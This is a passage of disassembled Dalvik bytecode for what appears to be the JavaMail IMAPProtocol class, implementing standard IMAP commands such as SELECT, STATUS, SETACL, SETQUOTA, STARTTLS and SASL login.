00000002 const-string v0, "ACL"
00000006 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000C move-result v0
0000000E if-nez v0, :22
:12
00000012 new-instance v0, BadCommandException
00000016 const-string v1, "ACL not supported"
0000001A invoke-direct BadCommandException-><init>(String)V, v0, v1
00000020 throw v0
:22
00000022 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000028 move-result-object v0
0000002A new-instance v1, Argument
0000002E invoke-direct Argument-><init>()V, v1
00000034 invoke-virtual Argument->writeString(String)V, v1, v0
0000003A const-string v0, "MYRIGHTS"
0000003E invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000044 move-result-object v4
00000046 array-length v0, v4
00000048 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
0000004C aget-object v5, v4, v0
00000050 invoke-virtual Response->isOK()Z, v5
00000056 move-result v0
00000058 if-eqz v0, :CA
:5C
0000005C const/4 v0, 0x0
0000005E array-length v6, v4
00000060 move v3, v0
00000062 move-object v1, v2
:64
00000064 if-lt v3, v6, :76
:68
00000068 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
0000006E invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v5
00000074 return-object v1
:76
00000076 aget-object v0, v4, v3
0000007A instance-of v0, v0, IMAPResponse
0000007E if-nez v0, :8A
:82
00000082 add-int/lit8 v0, v3, 0x1
00000086 move v3, v0
00000088 goto :64
:8A
0000008A aget-object v0, v4, v3
0000008E check-cast v0, IMAPResponse
00000092 const-string v7, "MYRIGHTS"
00000096 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v7
0000009C move-result v7
0000009E if-eqz v7, :82
:A2
000000A2 invoke-virtual IMAPResponse->readAtomString()String, v0
000000A8 invoke-virtual IMAPResponse->readAtomString()String, v0
000000AE move-result-object v7
000000B0 if-nez v1, :C6
:B4
000000B4 new-instance v0, Rights
000000B8 invoke-direct Rights-><init>(String)V, v0, v7
:BE
000000BE aput-object v2, v4, v3
000000C2 move-object v1, v0
000000C4 goto :82
:C6
000000C6 move-object v0, v1
000000C8 goto :BE
:CA
000000CA move-object v1, v2
000000CC goto :68
.end method
.method public namespace()Namespaces
.registers 9
00000000 const/4 v2, 0x0
00000002 const-string v0, "NAMESPACE"
00000006 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000C move-result v0
0000000E if-nez v0, :22
:12
00000012 new-instance v0, BadCommandException
00000016 const-string v1, "NAMESPACE not supported"
0000001A invoke-direct BadCommandException-><init>(String)V, v0, v1
00000020 throw v0
:22
00000022 const-string v0, "NAMESPACE"
00000026 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
0000002C move-result-object v4
0000002E array-length v0, v4
00000030 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000034 aget-object v5, v4, v0
00000038 invoke-virtual Response->isOK()Z, v5
0000003E move-result v0
00000040 if-eqz v0, :A6
:44
00000044 const/4 v0, 0x0
00000046 array-length v6, v4
00000048 move v3, v0
0000004A move-object v1, v2
:4C
0000004C if-lt v3, v6, :5E
:50
00000050 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
00000056 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v5
0000005C return-object v1
:5E
0000005E aget-object v0, v4, v3
00000062 instance-of v0, v0, IMAPResponse
00000066 if-nez v0, :72
:6A
0000006A add-int/lit8 v0, v3, 0x1
0000006E move v3, v0
00000070 goto :4C
:72
00000072 aget-object v0, v4, v3
00000076 check-cast v0, IMAPResponse
0000007A const-string v7, "NAMESPACE"
0000007E invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v7
00000084 move-result v7
00000086 if-eqz v7, :6A
:8A
0000008A if-nez v1, :A2
:8E
0000008E new-instance v1, Namespaces
00000092 invoke-direct Namespaces-><init>(Response)V, v1, v0
00000098 move-object v0, v1
:9A
0000009A aput-object v2, v4, v3
0000009E move-object v1, v0
000000A0 goto :6A
:A2
000000A2 move-object v0, v1
000000A4 goto :9A
:A6
000000A6 move-object v1, v2
000000A8 goto :50
.end method
.method public noop()V
.registers 3
00000000 iget-boolean v0, p0, IMAPProtocol->debug:Z
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, IMAPProtocol->out:PrintStream
0000000C const-string v1, "IMAP DEBUG: IMAPProtocol noop"
00000010 invoke-virtual PrintStream->println(String)V, v0, v1
:16
00000016 const-string v0, "NOOP"
0000001A const/4 v1, 0x0
0000001C invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
00000022 return-void
.end method
.method protected parseCapabilities(Response)V
.registers 9
00000000 const/16 v6, 0x5D
00000004 const/4 v2, 0x0
00000006 const/4 v5, 0x5
:8
00000008 invoke-virtual Response->readAtom(C)String, p1, v6
0000000E move-result-object v0
00000010 if-nez v0, :16
:14
00000014 return-void
:16
00000016 invoke-virtual String->length()I, v0
0000001C move-result v1
0000001E if-nez v1, :36
:22
00000022 invoke-virtual Response->peekByte()B, p1
00000028 move-result v0
0000002A if-eq v0, v6, :14
:2E
0000002E invoke-virtual Response->skipToken()V, p1
00000034 goto :8
:36
00000036 iget-object v1, p0, IMAPProtocol->capabilities:Map
0000003A sget-object v3, Locale->ENGLISH:Locale
0000003E invoke-virtual String->toUpperCase(Locale)String, v0, v3
00000044 move-result-object v3
00000046 invoke-interface Map->put(Object, Object)Object, v1, v3, v0
0000004C const/4 v1, 0x1
0000004E const-string v3, "AUTH="
00000052 move v4, v2
00000054 invoke-virtual/range String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
0000005A move-result v1
0000005C if-eqz v1, :8
:60
00000060 iget-object v1, p0, IMAPProtocol->authmechs:List
00000064 invoke-virtual String->substring(I)String, v0, v5
0000006A move-result-object v3
0000006C invoke-interface List->add(Object)Z, v1, v3
00000072 iget-boolean v1, p0, IMAPProtocol->debug:Z
00000076 if-eqz v1, :8
:7A
0000007A iget-object v1, p0, IMAPProtocol->out:PrintStream
0000007E new-instance v3, StringBuilder
00000082 const-string v4, "IMAP DEBUG: AUTH: "
00000086 invoke-direct StringBuilder-><init>(String)V, v3, v4
0000008C invoke-virtual String->substring(I)String, v0, v5
00000092 move-result-object v0
00000094 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v0
0000009A move-result-object v0
0000009C invoke-virtual StringBuilder->toString()String, v0
000000A2 move-result-object v0
000000A4 invoke-virtual PrintStream->println(String)V, v1, v0
000000AA goto :8
.end method
.method public peekBody(I, String)BODY
.registers 4
00000000 const/4 v0, 0x1
00000002 invoke-virtual IMAPProtocol->fetchBody(I, String, Z)BODY, p0, p1, p2, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public peekBody(I, String, I, I)BODY
.registers 12
00000000 const/4 v5, 0x1
00000002 const/4 v6, 0x0
00000004 move-object v0, p0
00000006 move v1, p1
00000008 move-object v2, p2
0000000A move v3, p3
0000000C move v4, p4
0000000E invoke-virtual/range IMAPProtocol->fetchBody(I, String, I, I, Z, ByteArray)BODY, v0 .. v6
00000014 move-result-object v0
00000016 return-object v0
.end method
.method public peekBody(I, String, I, I, ByteArray)BODY
.registers 13
00000000 const/4 v5, 0x1
00000002 move-object v0, p0
00000004 move v1, p1
00000006 move-object v2, p2
00000008 move v3, p3
0000000A move v4, p4
0000000C move-object v6, p5
0000000E invoke-virtual/range IMAPProtocol->fetchBody(I, String, I, I, Z, ByteArray)BODY, v0 .. v6
00000014 move-result-object v0
00000016 return-object v0
.end method
.method protected processGreeting(Response)V
.registers 4
00000000 invoke-super Protocol->processGreeting(Response)V, p0, p1
00000006 invoke-virtual Response->isOK()Z, p1
0000000C move-result v0
0000000E if-eqz v0, :1A
:12
00000012 invoke-virtual IMAPProtocol->setCapabilities(Response)V, p0, p1
:18
00000018 return-void
:1A
0000001A move-object v0, p1
0000001C check-cast v0, IMAPResponse
00000020 const-string v1, "PREAUTH"
00000024 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v1
0000002A move-result v0
0000002C if-eqz v0, :3E
:30
00000030 const/4 v0, 0x1
00000032 iput-boolean v0, p0, IMAPProtocol->authenticated:Z
00000036 invoke-virtual IMAPProtocol->setCapabilities(Response)V, p0, p1
0000003C goto :18
:3E
0000003E new-instance v0, ConnectionException
00000042 invoke-direct ConnectionException-><init>(Protocol, Response)V, v0, p0, p1
00000048 throw v0
.end method
.method public processIdleResponse(Response)Z
.registers 7
00000000 const/4 v2, 0x0
00000002 const/4 v1, 0x1
00000004 new-array v0, v1, [Response
00000008 aput-object p1, v0, v2
0000000C invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000012 invoke-virtual Response->isBYE()Z, p1
00000018 move-result v0
0000001A if-eqz v0, :60
:1E
0000001E move v0, v1
:20
00000020 invoke-virtual Response->isTagged()Z, p1
00000026 move-result v3
00000028 if-eqz v3, :46
:2C
0000002C invoke-virtual Response->getTag()String, p1
00000032 move-result-object v3
00000034 iget-object v4, p0, IMAPProtocol->idleTag:String
00000038 invoke-virtual String->equals(Object)Z, v3, v4
0000003E move-result v3
00000040 if-eqz v3, :46
:44
00000044 move v0, v1
:46
00000046 if-eqz v0, :50
:4A
0000004A const/4 v3, 0x0
0000004C iput-object v3, p0, IMAPProtocol->idleTag:String
:50
00000050 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, p1
00000056 if-eqz v0, :5C
:5A
0000005A return v2
:5C
0000005C move v2, v1
0000005E goto :5A
:60
00000060 move v0, v2
00000062 goto :20
.end method
.method public proxyauth(String)V
.registers 4
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A invoke-virtual Argument->writeString(String)V, v0, p1
00000010 const-string v1, "PROXYAUTH"
00000014 invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v1, v0
0000001A return-void
.end method
.method public declared-synchronized readIdleResponse()Response
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPProtocol->idleTag:String
:6
00000006 if-nez v0, :10
:A
0000000A const/4 v0, 0x0
:C
0000000C monitor-exit p0
0000000E return-object v0
:10
00000010 invoke-virtual IMAPProtocol->readResponse()Response, p0
:16
00000016 move-result-object v0
00000018 goto :C
:1A
0000001A move-exception v0
:1C
0000001C invoke-static Response->byeResponse(Exception)Response, v0
00000022 move-result-object v0
00000024 goto :C
:26
00000026 move-exception v0
00000028 invoke-static Response->byeResponse(Exception)Response, v0
:2E
0000002E move-result-object v0
00000030 goto :C
:32
00000032 move-exception v0
00000034 monitor-exit p0
00000036 throw v0
.catchall {:2 .. :6} :32
.catch IOException {:10 .. :16} :1A
.catch ProtocolException {:10 .. :16} :26
.catchall {:10 .. :16} :32
.catchall {:1C .. :2E} :32
.end method
.method public readResponse()Response
.registers 2
00000000 invoke-static IMAPResponse->readResponse(Protocol)IMAPResponse, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public rename(String, String)V
.registers 6
00000000 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000006 move-result-object v0
00000008 invoke-static BASE64MailboxEncoder->encode(String)String, p2
0000000E move-result-object v1
00000010 new-instance v2, Argument
00000014 invoke-direct Argument-><init>()V, v2
0000001A invoke-virtual Argument->writeString(String)V, v2, v0
00000020 invoke-virtual Argument->writeString(String)V, v2, v1
00000026 const-string v0, "RENAME"
0000002A invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v2
00000030 return-void
.end method
.method public sasllogin([String, String, String, String, String)V
.registers 13
00000000 const/4 v6, 0x1
00000002 const/4 v1, 0x0
00000004 iget-object v0, p0, IMAPProtocol->saslAuthenticator:SaslAuthenticator
00000008 if-nez v0, :B8
:C
0000000C const-string v0, "com.sun.mail.imap.protocol.IMAPSaslAuthenticator"
00000010 invoke-static Class->forName(String)Class, v0
00000016 move-result-object v0
00000018 const/4 v2, 0x6
0000001A new-array v2, v2, [Class
0000001E const/4 v3, 0x0
00000020 const-class v4, IMAPProtocol
00000024 aput-object v4, v2, v3
00000028 const/4 v3, 0x1
0000002A const-class v4, String
0000002E aput-object v4, v2, v3
00000032 const/4 v3, 0x2
00000034 const-class v4, Properties
00000038 aput-object v4, v2, v3
0000003C const/4 v3, 0x3
0000003E sget-object v4, Boolean->TYPE:Class
00000042 aput-object v4, v2, v3
00000046 const/4 v3, 0x4
00000048 const-class v4, PrintStream
0000004C aput-object v4, v2, v3
00000050 const/4 v3, 0x5
00000052 const-class v4, String
00000056 aput-object v4, v2, v3
0000005A invoke-virtual Class->getConstructor([Class)Constructor, v0, v2
00000060 move-result-object v2
00000062 const/4 v0, 0x6
00000064 new-array v3, v0, [Object
00000068 const/4 v0, 0x0
0000006A aput-object p0, v3, v0
0000006E const/4 v0, 0x1
00000070 iget-object v4, p0, IMAPProtocol->name:String
00000074 aput-object v4, v3, v0
00000078 const/4 v0, 0x2
0000007A iget-object v4, p0, IMAPProtocol->props:Properties
0000007E aput-object v4, v3, v0
00000082 const/4 v4, 0x3
00000084 iget-boolean v0, p0, IMAPProtocol->debug:Z
00000088 if-eqz v0, :10E
:8C
0000008C sget-object v0, Boolean->TRUE:Boolean
:90
00000090 aput-object v0, v3, v4
00000094 const/4 v0, 0x4
00000096 iget-object v4, p0, IMAPProtocol->out:PrintStream
0000009A aput-object v4, v3, v0
0000009E const/4 v0, 0x5
000000A0 iget-object v4, p0, IMAPProtocol->host:String
000000A4 aput-object v4, v3, v0
000000A8 invoke-virtual Constructor->newInstance([Object)Object, v2, v3
000000AE move-result-object v0
000000B0 check-cast v0, SaslAuthenticator
000000B4 iput-object v0, p0, IMAPProtocol->saslAuthenticator:SaslAuthenticator
:B8
000000B8 if-eqz p1, :16C
:BC
000000BC array-length v0, p1
000000BE if-lez v0, :16C
:C2
000000C2 new-instance v2, ArrayList
000000C6 array-length v0, p1
000000C8 invoke-direct ArrayList-><init>(I)V, v2, v0
000000CE move v0, v1
:D0
000000D0 array-length v1, p1
000000D2 if-lt v0, v1, :148
:D6
000000D6 move-object v0, v2
:D8
000000D8 invoke-interface List->size()I, v0
000000DE move-result v1
000000E0 new-array v1, v1, [String
000000E4 invoke-interface List->toArray([Object)[Object, v0, v1
000000EA move-result-object v1
000000EC check-cast v1, [String
000000F0 iget-object v0, p0, IMAPProtocol->saslAuthenticator:SaslAuthenticator
000000F4 move-object v2, p2
000000F6 move-object v3, p3
000000F8 move-object v4, p4
000000FA move-object v5, p5
000000FC invoke-interface/range SaslAuthenticator->authenticate([String, String, String, String, String)Z, v0 .. v5
00000102 move-result v0
00000104 if-eqz v0, :10C
:108
00000108 iput-boolean v6, p0, IMAPProtocol->authenticated:Z
:10C
0000010C return-void
:10E
0000010E sget-object v0, Boolean->FALSE:Boolean
:112
00000112 goto :90
:114
00000114 move-exception v0
00000116 iget-boolean v1, p0, IMAPProtocol->debug:Z
0000011A if-eqz v1, :10C
:11E
0000011E iget-object v1, p0, IMAPProtocol->out:PrintStream
00000122 new-instance v2, StringBuilder
00000126 const-string v3, "IMAP DEBUG: Can\'t load SASL authenticator: "
0000012A invoke-direct StringBuilder-><init>(String)V, v2, v3
00000130 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
00000136 move-result-object v0
00000138 invoke-virtual StringBuilder->toString()String, v0
0000013E move-result-object v0
00000140 invoke-virtual PrintStream->println(String)V, v1, v0
00000146 goto :10C
:148
00000148 iget-object v1, p0, IMAPProtocol->authmechs:List
0000014C aget-object v3, p1, v0
00000150 invoke-interface List->contains(Object)Z, v1, v3
00000156 move-result v1
00000158 if-eqz v1, :166
:15C
0000015C aget-object v1, p1, v0
00000160 invoke-interface List->add(Object)Z, v2, v1
:166
00000166 add-int/lit8 v0, v0, 0x1
0000016A goto :D0
:16C
0000016C iget-object v0, p0, IMAPProtocol->authmechs:List
00000170 goto :D8
.catch Exception {:C .. :B8} :114
.catch Exception {:10E .. :112} :114
.end method
.method public search(SearchTerm)[I
.registers 3
00000000 const-string v0, "ALL"
00000004 invoke-direct IMAPProtocol->search(String, SearchTerm)[I, p0, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public search([MessageSet, SearchTerm)[I
.registers 4
00000000 invoke-static MessageSet->toString([MessageSet)String, p1
00000006 move-result-object v0
00000008 invoke-direct IMAPProtocol->search(String, SearchTerm)[I, p0, v0, p2
0000000E move-result-object v0
00000010 return-object v0
.end method
.method public select(String)MailboxInfo
.registers 6
00000000 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000006 move-result-object v0
00000008 new-instance v1, Argument
0000000C invoke-direct Argument-><init>()V, v1
00000012 invoke-virtual Argument->writeString(String)V, v1, v0
00000018 const-string v0, "SELECT"
0000001C invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000022 move-result-object v0
00000024 new-instance v1, MailboxInfo
00000028 invoke-direct MailboxInfo-><init>([Response)V, v1, v0
0000002E invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000034 array-length v2, v0
00000036 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
0000003A aget-object v0, v0, v2
0000003E invoke-virtual Response->isOK()Z, v0
00000044 move-result v2
00000046 if-eqz v2, :6A
:4A
0000004A invoke-virtual Response->toString()String, v0
00000050 move-result-object v2
00000052 const-string v3, "READ-ONLY"
00000056 invoke-virtual String->indexOf(String)I, v2, v3
0000005C move-result v2
0000005E const/4 v3, 0xFFFFFFFFFFFFFFFF
00000060 if-eq v2, v3, :72
:64
00000064 const/4 v2, 0x1
00000066 iput v2, v1, MailboxInfo->mode:I
:6A
0000006A invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v0
00000070 return-object v1
:72
00000072 const/4 v2, 0x2
00000074 iput v2, v1, MailboxInfo->mode:I
00000078 goto :6A
.end method
.method public setACL(String, C, ACL)V
.registers 8
00000000 const-string v0, "ACL"
00000004 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, BadCommandException
00000014 const-string v1, "ACL not supported"
00000018 invoke-direct BadCommandException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000026 move-result-object v0
00000028 new-instance v1, Argument
0000002C invoke-direct Argument-><init>()V, v1
00000032 invoke-virtual Argument->writeString(String)V, v1, v0
00000038 invoke-virtual ACL->getName()String, p3
0000003E move-result-object v0
00000040 invoke-virtual Argument->writeString(String)V, v1, v0
00000046 invoke-virtual ACL->getRights()Rights, p3
0000004C move-result-object v0
0000004E invoke-virtual Rights->toString()String, v0
00000054 move-result-object v0
00000056 const/16 v2, 0x2B
0000005A if-eq p2, v2, :66
:5E
0000005E const/16 v2, 0x2D
00000062 if-ne p2, v2, :88
:66
00000066 new-instance v2, StringBuilder
0000006A invoke-static String->valueOf(C)String, p2
00000070 move-result-object v3
00000072 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000078 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
0000007E move-result-object v0
00000080 invoke-virtual StringBuilder->toString()String, v0
00000086 move-result-object v0
:88
00000088 invoke-virtual Argument->writeString(String)V, v1, v0
0000008E const-string v0, "SETACL"
00000092 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000098 move-result-object v0
0000009A array-length v1, v0
0000009C add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
000000A0 aget-object v1, v0, v1
000000A4 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
000000AA invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v1
000000B0 return-void
.end method
.method protected setCapabilities(Response)V
.registers 4
00000000 invoke-virtual Response->readByte()B, p1
00000006 move-result v0
00000008 if-lez v0, :14
:C
0000000C const/16 v1, 0x5B
00000010 if-ne v0, v1, :0
:14
00000014 if-nez v0, :1A
:18
00000018 return-void
:1A
0000001A invoke-virtual Response->readAtom()String, p1
00000020 move-result-object v0
00000022 const-string v1, "CAPABILITY"
00000026 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000002C move-result v0
0000002E if-eqz v0, :18
:32
00000032 new-instance v0, HashMap
00000036 const/16 v1, 0xA
0000003A invoke-direct HashMap-><init>(I)V, v0, v1
00000040 iput-object v0, p0, IMAPProtocol->capabilities:Map
00000044 new-instance v0, ArrayList
00000048 const/4 v1, 0x5
0000004A invoke-direct ArrayList-><init>(I)V, v0, v1
00000050 iput-object v0, p0, IMAPProtocol->authmechs:List
00000054 invoke-virtual IMAPProtocol->parseCapabilities(Response)V, p0, p1
0000005A goto :18
.end method
.method public setQuota(Quota)V
.registers 7
00000000 const-string v0, "QUOTA"
00000004 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, BadCommandException
00000014 const-string v1, "QUOTA not supported"
00000018 invoke-direct BadCommandException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 new-instance v1, Argument
00000024 invoke-direct Argument-><init>()V, v1
0000002A iget-object v0, p1, Quota->quotaRoot:String
0000002E invoke-virtual Argument->writeString(String)V, v1, v0
00000034 new-instance v2, Argument
00000038 invoke-direct Argument-><init>()V, v2
0000003E iget-object v0, p1, Quota->resources:[Quota$Resource
00000042 if-eqz v0, :52
:46
00000046 const/4 v0, 0x0
:48
00000048 iget-object v3, p1, Quota->resources:[Quota$Resource
0000004C array-length v3, v3
0000004E if-lt v0, v3, :7C
:52
00000052 invoke-virtual Argument->writeArgument(Argument)V, v1, v2
00000058 const-string v0, "SETQUOTA"
0000005C invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000062 move-result-object v0
00000064 array-length v1, v0
00000066 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000006A aget-object v1, v0, v1
0000006E invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000074 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v1
0000007A return-void
:7C
0000007C iget-object v3, p1, Quota->resources:[Quota$Resource
00000080 aget-object v3, v3, v0
00000084 iget-object v3, v3, Quota$Resource->name:String
00000088 invoke-virtual Argument->writeAtom(String)V, v2, v3
0000008E iget-object v3, p1, Quota->resources:[Quota$Resource
00000092 aget-object v3, v3, v0
00000096 iget-wide v3, v3, Quota$Resource->limit:J
0000009A invoke-virtual Argument->writeNumber(J)V, v2, v3, v4
000000A0 add-int/lit8 v0, v0, 0x1
000000A4 goto :48
.end method
.method public startTLS()V
.registers 4
00000000 const-string v0, "STARTTLS"
00000004 invoke-super Protocol->startTLS(String)V, p0, v0
:A
0000000A return-void
:C
0000000C move-exception v0
0000000E throw v0
:10
00000010 move-exception v0
00000012 const/4 v1, 0x1
00000014 new-array v1, v1, [Response
00000018 const/4 v2, 0x0
0000001A invoke-static Response->byeResponse(Exception)Response, v0
00000020 move-result-object v0
00000022 aput-object v0, v1, v2
00000026 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v1
0000002C invoke-virtual IMAPProtocol->disconnect()V, p0
00000032 goto :A
.catch ProtocolException {:0 .. :A} :C
.catch Exception {:0 .. :A} :10
.end method
.method public status(String, [String)Status
.registers 11
00000000 const/4 v2, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-virtual IMAPProtocol->isREV1()Z, p0
0000000A move-result v1
0000000C if-nez v1, :30
:10
00000010 const-string v1, "IMAP4SUNVERSION"
00000014 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v1
0000001A move-result v1
0000001C if-nez v1, :30
:20
00000020 new-instance v0, BadCommandException
00000024 const-string v1, "STATUS not supported"
00000028 invoke-direct BadCommandException-><init>(String)V, v0, v1
0000002E throw v0
:30
00000030 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000036 move-result-object v1
00000038 new-instance v3, Argument
0000003C invoke-direct Argument-><init>()V, v3
00000042 invoke-virtual Argument->writeString(String)V, v3, v1
00000048 new-instance v4, Argument
0000004C invoke-direct Argument-><init>()V, v4
00000052 if-nez p2, :5A
:56
00000056 sget-object p2, Status->standardItems:[String
:5A
0000005A array-length v5, p2
0000005C move v1, v0
:5E
0000005E if-lt v1, v5, :A2
:62
00000062 invoke-virtual Argument->writeArgument(Argument)V, v3, v4
00000068 const-string v1, "STATUS"
0000006C invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v1, v3
00000072 move-result-object v4
00000074 array-length v1, v4
00000076 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000007A aget-object v5, v4, v1
0000007E invoke-virtual Response->isOK()Z, v5
00000084 move-result v1
00000086 if-eqz v1, :10A
:8A
0000008A array-length v6, v4
0000008C move v3, v0
0000008E move-object v1, v2
:90
00000090 if-lt v3, v6, :B2
:94
00000094 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
0000009A invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v5
000000A0 return-object v1
:A2
000000A2 aget-object v6, p2, v1
000000A6 invoke-virtual Argument->writeAtom(String)V, v4, v6
000000AC add-int/lit8 v1, v1, 0x1
000000B0 goto :5E
:B2
000000B2 aget-object v0, v4, v3
000000B6 instance-of v0, v0, IMAPResponse
000000BA if-nez v0, :C6
:BE
000000BE add-int/lit8 v0, v3, 0x1
000000C2 move v3, v0
000000C4 goto :90
:C6
000000C6 aget-object v0, v4, v3
000000CA check-cast v0, IMAPResponse
000000CE const-string v7, "STATUS"
000000D2 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v7
000000D8 move-result v7
000000DA if-eqz v7, :BE
:DE
000000DE if-nez v1, :F6
:E2
000000E2 new-instance v1, Status
000000E6 invoke-direct Status-><init>(Response)V, v1, v0
000000EC move-object v0, v1
:EE
000000EE aput-object v2, v4, v3
000000F2 move-object v1, v0
000000F4 goto :BE
:F6
000000F6 new-instance v7, Status
000000FA invoke-direct Status-><init>(Response)V, v7, v0
00000100 invoke-static Status->add(Status, Status)V, v1, v7
00000106 move-object v0, v1
00000108 goto :EE
:10A
0000010A move-object v1, v2
0000010C goto :94
.end method
.method public storeFlags(I, I, Flags, Z)V
.registers 7
00000000 new-instance v0, StringBuilder
00000004 invoke-static String->valueOf(I)String, p1
0000000A move-result-object v1
0000000C invoke-static String->valueOf(Object)String, v1
00000012 move-result-object v1
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001A const-string v1, ":"
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000024 move-result-object v0
00000026 invoke-static String->valueOf(I)String, p2
0000002C move-result-object v1
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000034 move-result-object v0
00000036 invoke-virtual StringBuilder->toString()String, v0
0000003C move-result-object v0
0000003E invoke-direct IMAPProtocol->storeFlags(String, Flags, Z)V, p0, v0, p3, p4
00000044 return-void
.end method
.method public storeFlags(I, Flags, Z)V
.registers 5
00000000 invoke-static String->valueOf(I)String, p1
00000006 move-result-object v0
00000008 invoke-direct IMAPProtocol->storeFlags(String, Flags, Z)V, p0, v0, p2, p3
0000000E return-void
.end method
.method public storeFlags([MessageSet, Flags, Z)V
.registers 5
00000000 invoke-static MessageSet->toString([MessageSet)String, p1
00000006 move-result-object v0
00000008 invoke-direct IMAPProtocol->storeFlags(String, Flags, Z)V, p0, v0, p2, p3
0000000E return-void
.end method
.method public subscribe(String)V
.registers 4
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000010 move-result-object v1
00000012 invoke-virtual Argument->writeString(String)V, v0, v1
00000018 const-string v1, "SUBSCRIBE"
0000001C invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v1, v0
00000022 return-void
.end method
.method protected supportsNonSyncLiterals()Z
.registers 2
00000000 const-string v0, "LITERAL+"
00000004 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A move-result v0
0000000C return v0
.end method
.method public uidexpunge([UIDSet)V
.registers 4
00000000 const-string v0, "UIDPLUS"
00000004 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, BadCommandException
00000014 const-string v1, "UID EXPUNGE not supported"
00000018 invoke-direct BadCommandException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 new-instance v0, StringBuilder
00000024 const-string v1, "UID EXPUNGE "
00000028 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000002E invoke-static UIDSet->toString([UIDSet)String, p1
00000034 move-result-object v1
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000003C move-result-object v0
0000003E invoke-virtual StringBuilder->toString()String, v0
00000044 move-result-object v0
00000046 const/4 v1, 0x0
00000048 invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
0000004E return-void
.end method
.method public unsubscribe(String)V
.registers 4
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000010 move-result-object v1
00000012 invoke-virtual Argument->writeString(String)V, v0, v1
00000018 const-string v1, "UNSUBSCRIBE"
0000001C invoke-virtual IMAPProtocol->simpleCommand(String, Argument)V, p0, v1, v0
00000022 return-void
.end method
#--------------------------------------------------------------------------------
.class IMAPSaslAuthenticator$1
.super Object
.source ""
.implements CallbackHandler
.field final synthetic this$0:IMAPSaslAuthenticator
.field private final synthetic val$p0:String
.field private final synthetic val$r0:String
.field private final synthetic val$u0:String
.method constructor <init>(IMAPSaslAuthenticator, String, String, String)V
.registers 5
